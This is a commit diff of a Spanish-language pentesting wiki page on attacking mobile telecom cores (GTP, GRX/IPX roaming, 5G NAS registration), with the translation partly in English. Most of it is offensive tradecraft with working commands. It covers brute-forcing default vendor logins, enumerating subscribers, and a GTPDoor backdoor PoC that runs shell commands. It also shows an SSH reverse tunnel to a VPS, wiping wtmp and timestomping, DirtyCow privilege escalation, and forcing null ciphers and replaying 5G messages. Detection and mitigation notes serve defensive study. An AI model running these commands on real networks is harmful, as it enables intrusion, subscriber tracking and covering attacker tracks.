Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw

This commit is contained in:
Translator 2025-09-07 20:09:21 +00:00
parent 9dbcfee078
commit ef954a58e8

View File

@ -1,27 +1,27 @@
# Explotación de Redes de Telecomunicaciones (GTP / Entornos de Roaming)
# Explotación de redes de telecomunicaciones (GTP / Roaming Environments)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Los protocolos de núcleo móvil (Protocolo de Túnel GPRS GTP) a menudo atraviesan espinas dorsales de roaming GRX/IPX semi-confiables. Debido a que se transmiten por UDP sin casi ninguna autenticación, **cualquier punto de apoyo dentro de un perímetro de telecomunicaciones puede generalmente alcanzar directamente los planos de señalización central**. Las siguientes notas recopilan trucos ofensivos observados en la naturaleza contra SGSN/GGSN, PGW/SGW y otros nodos EPC.
> Los protocolos del core móvil (GPRS Tunnelling Protocol GTP) a menudo atraviesan backbones de roaming semi-confiables GRX/IPX. Debido a que circulan sobre UDP con casi ninguna autenticación, **cualquier acceso dentro del perímetro de una telecom suele poder alcanzar directamente los planos de señalización del core**. Las siguientes notas recopilan trucos ofensivos observados en el wild contra SGSN/GGSN, PGW/SGW y otros nodos EPC.
## 1. Reconocimiento y Acceso Inicial
## 1. Recon & Initial Access
### 1.1 Cuentas OSS / NE por Defecto
Un conjunto sorprendentemente grande de elementos de red de proveedores se envía con usuarios SSH/Telnet codificados como `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Una lista de palabras dedicada aumenta drásticamente el éxito del ataque de fuerza bruta:
### 1.1 Default OSS / NE Accounts
Un número sorprendentemente grande de elementos de red de proveedores se entrega con usuarios SSH/Telnet hard-coded como `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Una wordlist dedicada aumenta dramáticamente el éxito del brute-force:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
Si el dispositivo expone solo un VRF de gestión, pivotea a través de un host de salto primero (ver sección «SGSN Emu Tunnel» a continuación).
Si el dispositivo expone solo una VRF de gestión, pivota primero a través de un jump host (ver la sección «SGSN Emu Tunnel» más abajo).
### 1.2 Descubrimiento de Hosts dentro de GRX/IPX
La mayoría de los operadores de GRX aún permiten **ICMP echo** a través de la red troncal. Combina `masscan` con las sondas UDP `gtpv1` integradas para mapear rápidamente los oyentes de GTP-C:
### 1.2 Descubrimiento de hosts dentro de GRX/IPX
La mayoría de los operadores GRX todavía permiten **ICMP echo** a través del backbone. Combina `masscan` con las sondas UDP `gtpv1` integradas para mapear rápidamente los listeners GTP-C:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Enumerando Suscriptores `cordscan`
## 2. Enumeración de suscriptores `cordscan`
La siguiente herramienta de Go crea paquetes de **GTP-C Create PDP Context Request** y registra las respuestas. Cada respuesta revela el actual **SGSN / MME** que atiende el IMSI consultado y, a veces, el PLMN visitado por el suscriptor.
La siguiente herramienta en Go genera paquetes **GTP-C Create PDP Context Request** y registra las respuestas. Cada respuesta revela el **SGSN / MME** actual que atiende el IMSI consultado y, a veces, el PLMN visitado por el suscriptor.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@ -29,20 +29,20 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Banderas clave:
Key flags:
- `--imsi` IMSI del suscriptor objetivo
- `--oper` Hogar / HNI (MCC+MNC)
- `-w` Escribir paquetes en bruto a pcap
- `--oper` Home / HNI (MCC+MNC)
- `-w` Escribe paquetes raw a pcap
Constantes importantes dentro del binario pueden ser parcheadas para ampliar los escaneos:
Constantes importantes dentro del binario pueden ser parcheadas para ampliar los scans:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. Ejecución de Código sobre GTP `GTPDoor`
## 3. Ejecución de código sobre GTP `GTPDoor`
`GTPDoor` es un pequeño servicio ELF que **vincula UDP 2123 y analiza cada paquete GTP-C entrante**. Cuando la carga útil comienza con una etiqueta precompartida, el resto se descifra (AES-128-CBC) y se ejecuta a través de `/bin/sh -c`. La stdout/stderr se exfiltran dentro de los mensajes de **Echo Response** para que nunca se cree una sesión externa.
`GTPDoor` es un pequeño servicio ELF que **escucha en UDP 2123 y analiza cada paquete GTP-C entrante**. Cuando la carga útil comienza con una etiqueta precompartida, el resto se descifra (AES-128-CBC) y se ejecuta vía `/bin/sh -c`. El stdout/stderr se exfiltra dentro de mensajes **Echo Response** para que nunca se cree una sesión saliente.
Paquete PoC mínimo (Python):
```python
@ -53,39 +53,39 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Detección:
* cualquier host que envíe **Solicitudes de Eco desbalanceadas** a las IPs de SGSN
* bandera de versión GTP configurada en 1 mientras el tipo de mensaje = 1 (Eco) desviación de la especificación
* cualquier host que envíe **unbalanced Echo Requests** a las IPs de SGSN
* bandera de versión GTP establecida en 1 mientras el tipo de mensaje = 1 (Echo) desviación respecto a la especificación
## 4. Pivotando a través del núcleo
## 4. Pivoting a través del Core
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` envía un emulador de SGSN capaz de **establecer un contexto PDP hacia un GGSN/PGW real**. Una vez negociado, Linux recibe una nueva interfaz `tun0` accesible desde el par de roaming.
`OsmoGGSN` incluye un emulador de SGSN capaz de **establecer un PDP context hacia un GGSN/PGW real**. Una vez negociado, Linux recibe una nueva interfaz `tun0` accesible desde el roaming peer.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
Con un correcto hair-pinning de firewall, este túnel elude VLANs solo de señalización y te lleva directamente al **data plane**.
Con un firewall hair-pinning adecuado, este túnel evita VLANs solo de señalización y te coloca directamente en el **data plane**.
### 4.2 Túnel SSH Inverso a través del Puerto 53
DNS está casi siempre abierto en infraestructuras de roaming. Expón un servicio SSH interno a tu VPS escuchando en :53 y regresa más tarde desde casa:
### 4.2 SSH Reverse Tunnel over Port 53
DNS casi siempre está abierto en infraestructuras de roaming. Expón un servicio SSH interno en tu VPS escuchando en :53 y regresa más tarde desde casa:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
Verifica que `GatewayPorts yes` esté habilitado en el VPS.
Compruebe que `GatewayPorts yes` esté habilitado en el VPS.
## 5. Canales Encubiertos
## 5. Canales encubiertos
| Canal | Transporte | Decodificación | Notas |
|-------|------------|----------------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | clave de 4 bytes + fragmentos de 14 bytes (XOR) | oyente pasivo puro, sin tráfico saliente |
| DNS `NoDepDNS` | UDP 53 | XOR (clave = `funnyAndHappy`) codificado en octetos de A-registro | observa el subdominio `*.nodep` |
| GTP `GTPDoor` | UDP 2123 | blob AES-128-CBC en IE privado | se mezcla con el tráfico legítimo de GTP-C |
|---------|-----------|----------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | escucha pasiva pura, sin tráfico saliente |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | vigila el subdominio `*.nodep` |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | se mezcla con el tráfico legítimo de GTP |
Todos los implantes implementan watchdogs que **timestomp** sus binarios y se reinician si se caen.
All implants implement watchdogs that **timestomp** their binaries and re-spawn if se bloquean.
## 6. Hoja de Trucos de Evasión de Defensa
## 6. Cheatsheet de Defense Evasion
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. Escalación de Privilegios en NE Legado
## 7. Escalada de privilegios en NE heredado
```bash
# DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
@ -116,25 +116,132 @@ Consejo de limpieza:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Caja de Herramientas
## 8. Caja de herramientas
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` herramientas personalizadas descritas en secciones anteriores.
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` custom tooling descrito en secciones previas.
* `FScan` : barridos TCP de intranet (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS WPAD malicioso
* `Microsocks` + `ProxyChains` : pivoteo ligero SOCKS5
* `FRP` (≥0.37) : travesía NAT / puenteo de activos
* `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : ligero SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / asset bridging
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
El procedimiento de registro 5G se ejecuta sobre NAS (Non-Access Stratum) encima de NGAP. Hasta que la seguridad NAS se activa mediante Security Mode Command/Complete, los mensajes iniciales no están autenticados ni cifrados. Esta ventana pre-seguridad permite múltiples vectores de ataque cuando puedes observar o manipular el tráfico N2 (por ejemplo, on-path dentro del core, rogue gNB, o en un testbed).
Flujo de registro (simplificado):
- Registration Request: UE envía SUCI (SUPI encriptado) y capacidades.
- Authentication: AMF/AUSF envían RAND/AUTN; UE devuelve RES*.
- Security Mode Command/Complete: se negocian y activan integridad y cifrado NAS.
- PDU Session Establishment: configuración IP/QoS.
Consejos para el laboratorio (no RF):
- Core: la implementación por defecto de Open5GS es suficiente para reproducir los flujos.
- UE: simulador o UE de prueba; decodificar con Wireshark.
- Herramientas activas: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Filtros de visualización útiles en Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Esperado: UE/USIM debe transmitir SUCI (SUPI encrypted with the home-network public key). Encontrar un SUPI/IMSI en texto plano en el Registration Request indica un defecto de privacidad que permite el tracking persistente del suscriptor.
Cómo probar:
- Captura el primer mensaje NAS en InitialUEMessage e inspecciona el Mobile Identity IE.
- Comprobaciones rápidas en Wireshark:
- Debe decodificarse como SUCI, no como IMSI.
- Ejemplos de filtros: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` debería existir; la ausencia junto con la presencia de `imsi` indica leakage.
Qué recopilar:
- MCC/MNC/MSIN si se exponen; registrar por UE y rastrear a través del tiempo/ubicaciones.
Mitigación:
- Forzar UEs/USIMs que usen solo SUCI; alertar sobre cualquier IMSI/SUPI en el NAS inicial.
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Antecedentes:
- UE anuncia EEA (encryption) y EIA (integrity) soportadas en el UE Security Capability IE del Registration Request.
- Mapas comunes: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 son algoritmos null.
Problema:
- Debido a que el Registration Request no está protegido por integridad, un atacante on-path puede limpiar bits de capacidad para forzar la selección de EEA0/EIA0 más adelante durante Security Mode Command. Algunos stacks permiten erróneamente algoritmos null fuera de servicios de emergencia.
Pasos ofensivos:
- Interceptar InitialUEMessage y modificar el NAS UE Security Capability para anunciar solo EEA0/EIA0.
- Con Sni5Gect, enganchar el mensaje NAS y parchear los bits de capacidad antes de reenviar.
- Observar si el AMF acepta null ciphers/integrity y completa Security Mode con EEA0/EIA0.
Verificación/visibilidad:
- En Wireshark, confirmar los algoritmos seleccionados después de Security Mode Command/Complete.
- Ejemplo de salida de sniffer pasivo:
```
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
```
Mitigaciones (obligatorias):
- Configurar AMF/policy para rechazar EEA0/EIA0 excepto donde sea estrictamente obligatorio (p. ej., llamadas de emergencia).
- Preferir aplicar EEA2/EIA2 como mínimo; registrar y generar alertas ante cualquier contexto de seguridad NAS que negocie algoritmos nulos.
### 9.3 Replay of initial Registration Request (pre-security NAS)
Porque el NAS inicial carece de integridad y frescura, un InitialUEMessage+Registration Request capturado puede ser replayed al AMF.
Regla PoC para 5GReplay para reenviar replays coincidentes:
```xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
```
Qué observar:
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
Mitigaciones:
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
### 9.4 Tooling pointers (reproducible)
- Open5GS: levantar un AMF/SMF/UPF para emular el core; observar N2 (NGAP) y NAS.
- Wireshark: verificar las decodificaciones de NGAP/NAS; aplicar los filtros anteriores para aislar Registration.
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
### 9.5 Defensive checklist
- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
---
## Ideas de Detección
1. **Cualquier dispositivo que no sea un SGSN/GGSN estableciendo Solicitudes de Crear Contexto PDP**.
2. **Puertos no estándar (53, 80, 443) recibiendo apretones de manos SSH** desde IPs internas.
3. **Solicitudes de Eco frecuentes sin Respuestas de Eco correspondientes** podría indicar balizas de GTPDoor.
4. **Alta tasa de tráfico de respuesta de eco ICMP con campos de identificador/secuencia grandes y no cero**.
## Ideas de detección
1. **Cualquier dispositivo distinto de un SGSN/GGSN estableciendo Create PDP Context Requests**.
2. **Puertos no estándar (53, 80, 443) recibiendo SSH handshakes** desde IPs internas.
3. **Frecuentes Echo Requests sin Echo Responses correspondientes** puede indicar GTPDoor beacons.
4. **Alta tasa de tráfico ICMP echo-reply con campos de identifier/sequence grandes y no cero**.
5. 5G: **InitialUEMessage que transporta NAS Registration Requests repetidos desde endpoints idénticos** (señal de replay).
6. 5G: **NAS Security Mode negociando EEA0/EIA0** fuera de contextos de emergencia.
## Referencias
## References
- [Palo Alto Unit42 Infiltración de Redes de Telecomunicaciones Globales](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 Protocolo de Túnel GPRS (v16.4.0)
- [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 GTPv2-C (v17.6.0)
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
- 3GPP TS 24.501 Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 Security architecture and procedures for 5G System
{{#include ../../banners/hacktricks-training.md}}